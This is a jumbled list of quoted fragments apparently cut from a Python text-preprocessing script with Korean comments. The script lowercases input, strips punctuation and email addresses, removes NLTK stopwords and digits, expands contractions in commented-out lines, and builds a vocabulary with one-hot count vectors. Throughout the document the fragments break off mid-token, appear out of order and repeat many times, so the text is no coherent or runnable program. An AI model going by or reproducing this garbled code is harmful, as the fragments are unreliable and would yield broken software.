", 'was', 'were'} # be 동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i",
"= WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would')",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기",
"__init__(self): self.inform = {} def wordinput(self): WI = input('문장을 입력해주세요 : ') #",
"두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) #",
"are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를",
"#WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that",
"len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for",
"re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점",
"만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를",
"voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector",
"들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if vocab not",
"voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word)",
"input('문장을 입력해주세요 : ') # 문장 받아오기. WI = word input. WI =",
"학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if vocab not in",
"self.inform = {} def wordinput(self): WI = input('문장을 입력해주세요 : ') # 문장",
"해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"self.inform['sentence_words'] # 입력받은 문장 그대로. for length in range(len(sentence_words)): for vocab in sentence_words[length]:",
"WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') #",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를",
"해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"is') # be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you",
"변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') #",
"# 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length",
"word in sentence_words[length]: if word.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서",
"[s.split() for s in sentence] # 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words']",
"위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다.",
"= WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is')",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을",
"stop words에 포함된 단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence =",
"for i in sentence_words] voc_vectors = [] for word in voc: voc_vector =",
"있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for s in",
"변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다 #WI",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해,",
"in sentence_words[length]: if word.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습",
"{'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해,",
"따라서 숫자는 제외한다.) if vocab not in stop_words: if vocab not in voc:",
"stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {} def wordinput(self): WI",
"#be = {'am', 'is', 'are', 'be' , 'was', 'were'} # be 동사 저장.",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를",
"문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if vocab",
"in sentence_words] voc_vectors = [] for word in voc: voc_vector = np.zeros_like(voc, dtype",
"문장 받아오기. WI = word input. WI = WI.replace('\\n',' ') # 문단에 줄",
"#WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를",
"in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() == False: # 숫자가 계속",
"nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {} def",
"= WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is')",
"is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를",
"numpy as np import string import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english')",
"+= 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words'] =",
"포함된 단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') #",
"np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word]",
"해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"not in stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를",
"is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를",
"= WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would')",
"#WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'}",
"class word_inform(): def __init__(self): self.inform = {} def wordinput(self): WI = input('문장을 입력해주세요",
"WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') #",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해,",
">> stop words에 포함된 단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence",
"sentence] # 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc):",
"WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words']",
"= WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words",
"re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지",
"있는 구두점 떼어주기. sentence_words = [s.split() for s in sentence] # 각각의 문장속에",
"그대로. for length in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() == False:",
"i in sentence_words] word_sentence = [[] for i in sentence_words] voc_vectors = []",
"단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기",
"re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에 포함된 단어 you'll",
"re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI",
"word_vector = [[] for i in sentence_words] word_sentence = [[] for i in",
"해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"in stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length =",
"위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다.",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해,",
"import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform",
"제외한다.) if word not in stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장",
"풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해,",
"#Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을",
"해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을",
"if vocab not in stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc'] =",
"= len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for length in range(len(sentence_words)):",
"#WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.)",
"i in sentence_words] voc_vectors = [] for word in voc: voc_vector = np.zeros_like(voc,",
"WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI =",
"# 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector",
"문장 그대로. for length in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() ==",
"#WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they",
"= WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"= WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would')",
"찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI =",
"are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를",
"WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') #",
"변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI)",
"# 입력받은 문장 그대로. for length in range(len(sentence_words)): for vocab in sentence_words[length]: if",
"# 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split()",
"for i in sentence_words] word_sentence = [[] for i in sentence_words] voc_vectors =",
"voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word =",
"self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for",
"not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length",
"#WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they",
"in sentence] # 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def",
"in sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습",
"= re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI)",
"단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words =",
"= WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are')",
"= WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would')",
"not in stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length",
"- before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for i in sentence_words] word_sentence",
"(is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다.",
"s in sentence] # 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words",
"학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if",
"= WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI",
"변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"'was', 'were'} # be 동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am')",
"def __init__(self): self.inform = {} def wordinput(self): WI = input('문장을 입력해주세요 : ')",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을",
"찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해,",
"#WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI =",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해,",
"해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"if vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을",
"vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯",
"떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if vocab not in stop_words: if",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기",
"( 따라서 숫자는 제외한다.) if word not in stop_words: voc_vector = np.zeros_like(voc, dtype",
"def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for",
"WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표",
"sentence_words[length]: if word.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이",
"해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] #",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을",
"따옴표는 제거하지 않음... >> stop words에 포함된 단어 you'll 같은 거 때문. WI",
"동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해,",
"import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {}",
"WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') #",
"{} def wordinput(self): WI = input('문장을 입력해주세요 : ') # 문장 받아오기. WI",
"있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be' , 'was', 'were'} #",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를",
"for length in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() == False: #",
"vocab not in stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc'] = voc",
"= WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will')",
"= after_voc_length word_vector = [[] for i in sentence_words] word_sentence = [[] for",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를",
"해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을",
"== False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다.",
"word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for length",
"학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if word not in",
"= {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을",
"'were'} # be 동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') #",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해,",
"WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') #",
"= word input. WI = WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로",
"length in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() == False: # 숫자가",
"하다. ( 따라서 숫자는 제외한다.) if vocab not in stop_words: if vocab not",
"#WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she",
"= WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will')",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을",
"줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be' , 'was',",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기",
"# be 동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를",
"{'am', 'is', 'are', 'be' , 'was', 'were'} # be 동사 저장. WI =",
"위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"= WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is')",
"단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)): for word in sentence_words[length]: if",
"#WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what",
"WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') #",
"위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"WI = word input. WI = WI.replace('\\n',' ') # 문단에 줄 내림이 있다면,",
"= WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is')",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를",
"WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에 포함된",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기",
"be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') #",
"if word not in stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의",
"해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"= voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector)",
"저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을",
"+= 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors",
"WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') #",
"vocab in sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해,",
"[[] for i in sentence_words] voc_vectors = [] for word in voc: voc_vector",
"voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트.",
"# 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI =",
"바꿔주기 #be = {'am', 'is', 'are', 'be' , 'was', 'were'} # be 동사",
"len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for length in range(len(sentence_words)): for",
"= np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word)",
"위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해,",
"하다. ( 따라서 숫자는 제외한다.) if word not in stop_words: voc_vector = np.zeros_like(voc,",
"위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"#WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she",
"WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') #",
"WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') #",
"is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기",
"1 # 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors #",
"따라서 숫자는 제외한다.) if word not in stop_words: voc_vector = np.zeros_like(voc, dtype =",
"WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') #",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를",
"변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해,",
"않음... >> stop words에 포함된 단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI)",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해,",
"[] for word in voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의",
"= [s.split() for s in sentence] # 각각의 문장속에 있는 단어 분리 해주기.",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기",
"숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는",
"before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for i in sentence_words] word_sentence =",
"#WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she",
"self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은",
"효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if word not in stop_words:",
"# 문장 받아오기. WI = word input. WI = WI.replace('\\n',' ') # 문단에",
"after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector =",
"= WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will')",
"새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번",
"WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기",
"',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음...",
"WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') #",
"word not in stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운",
"= voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector)",
"be 동사 저장. WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기",
"sentence_words = [s.split() for s in sentence] # 각각의 문장속에 있는 단어 분리",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해,",
"없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자",
"위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are') # be동사를 찾아내기",
"word input. WI = WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을",
"= {} def wordinput(self): WI = input('문장을 입력해주세요 : ') # 문장 받아오기.",
"range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속 학습하는",
"False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다. (",
"# be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will')",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을",
